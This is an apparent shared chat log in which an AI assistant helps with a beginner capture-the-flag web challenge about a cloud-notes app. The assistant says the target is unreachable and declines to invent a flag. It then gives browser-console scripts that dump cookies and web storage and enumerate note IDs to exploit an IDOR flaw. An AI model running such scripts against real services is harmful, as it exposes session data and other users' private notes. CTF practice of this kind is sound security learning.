灵感笔记 100 3211 solves 你是一个自由撰稿人,使用"灵感笔记"云笔记工具。今天登录...
생성일: 2026년 5월 9일
답변에 사용된 모델 GPT-5.5 Thinking by Chat01
생성일: 2026년 5월 9일
답변에 사용된 모델 GPT-5.5 Thinking by Chat01
灵感笔记
100
3211 solves
你是一个自由撰稿人,使用"灵感笔记"云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题...找到隐藏的Flag!
题目地址:39.105.213.28:5000
我这边没法直接取到真实 Flag:目标 39.105.213.28:5000 当前返回的是 connection refused,也就是端口 5000 上服务没有运行或实例已过期,而不是页面逻辑问题。
我实际测到的是:
bashcurl http://39.105.213.28:5000/ # curl: (7) Failed to connect to 39.105.213.28 port 5000 nc -vz -w 5 39.105.213.28 5000 # connect failed: Connection refused
所以我不能凭空编一个 Flag。等实例恢复后,这题建议优先按“笔记系统 + 登录后 + 云笔记”思路查 前端存储 / API 越权 / 笔记 ID 枚举。你可以在能打开页面后直接跑下面这段 Console 脚本:
js(async () => { const hit = /flag\{.*?\}|ctf\{.*?\}|[A-Z0-9_]+CTF\{.*?\}/i; console.log("[cookie]", document.cookie); console.log("[localStorage]", Object.fromEntries(Object.entries(localStorage))); console.log("[sessionStorage]", Object.fromEntries(Object.entries(sessionStorage))); const allStorage = [ document.cookie, JSON.stringify(Object.fromEntries(Object.entries(localStorage))), JSON.stringify(Object.fromEntries(Object.entries(sessionStorage))) ].join("\n"); console.log("[storage flag match]", allStorage.match(hit)); const paths = [ "/api/me", "/api/user", "/api/profile", "/api/notes", "/api/note", "/api/notes/1", "/api/note/1", "/notes/1", "/note/1", "/flag", "/api/flag" ]; for (const p of paths) { try { const r = await fetch(p, { credentials: "include" }); const t = await r.text(); console.log("\n==", p, r.status, "==\n", t.slice(0, 500)); const m = t.match(hit); if (m) console.log("FOUND FLAG:", m[0]); } catch (e) { console.log("ERR", p, e.message); } } })();
如果 /api/notes/1、/api/note/1 能返回笔记内容,继续枚举:
js(async () => { const hit = /flag\{.*?\}|ctf\{.*?\}|[A-Z0-9_]+CTF\{.*?\}/i; for (let i = 1; i <= 200; i++) { for (const p of [`/api/notes/${i}`, `/api/note/${i}`, `/notes/${i}`, `/note/${i}`]) { try { const r = await fetch(p, { credentials: "include" }); const t = await r.text(); const m = t.match(hit); if (m) { console.log("FOUND:", p, m[0]); return; } } catch {} } } console.log("not found in first 200 ids"); })();
这类 100 分入门 Web 题,最可能的点是:Flag 藏在浏览器 Storage 里,或者笔记接口存在 IDOR,改 /notes/自己的id 为 /notes/1、/notes/2 就能看到别人的隐藏笔记。当前服务不可达,所以还不能确认最终 Flag。